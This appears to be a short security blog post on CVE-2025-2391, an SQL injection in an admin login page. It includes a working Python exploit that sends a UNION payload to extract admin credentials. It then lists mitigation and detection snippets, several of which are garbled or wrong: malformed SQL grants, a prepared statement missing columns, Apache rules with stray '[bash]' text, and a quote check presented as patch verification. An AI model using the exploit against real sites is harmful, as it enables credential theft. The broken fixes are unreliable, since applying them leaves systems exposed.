How CVE-2025-2391 Works
This vulnerability exploits improper input sanitization in /admin/admin_login.php, allowing attackers to inject malicious SQL queries via crafted username/password fields. The application concatenates user inputs directly into SQL statements without parameterization, enabling unauthorized database access. Attackers can extract sensitive data (e.g., admin credentials, donor records) or execute arbitrary commands. The flaw is remotely exploitable with no authentication required, leveraging UNION-based or blind SQLi techniques.

What Undercode Say:
Exploit (PoC):
import requests
url = "http://target.com/admin/admin_login.php"
payload = "' UNION SELECT 1,2,3,4,CONCAT(username,':',password),6 FROM admins-- -"
data = {"username": payload, "password": "random"}
response = requests.post(url, data=data)
print(response.text)
Mitigation Commands:
-- Patch: Use prepared statements
$stmt = $conn->prepare("SELECT FROM admins WHERE username=? AND password=?");
$stmt->bind_param("ss", $username, $password);
WAF Rule (ModSecurity):
SecRule ARGS "@detectSQLi" "id:1001,deny,status:403"
Log Analysis (Post-Exploit):
grep 'POST /admin/admin_login.php' access.log | grep -E "UNION|SELECT|--"
Vulnerability Scanner (Nmap):
nmap --script http-sql-injection -p 80 target.com
Database Hardening:
REVOKE ALL PRIVILEGES ON . FROM 'webuser'@'%'; GRANT SELECT ONLY ON bloodbank. TO 'webuser'@'%';
HTTP Response Filter (Apache):
RewriteCond %{QUERY_STRING} UNION.SELECT [bash]
RewriteRule ^ - [bash]
Exploit Detection (Snort):
alert tcp any any -> $HOME_NET 80 (msg:"SQLi Attempt"; content:"UNION SELECT"; sid:1000001;)
Backup Cleanup:
find /var/www/html -name ".bak" -exec rm -f {} \;
Patch Verification:
// Verify in admin_login.php
if (strpos($username, "'") !== false) { die("Invalid input"); }
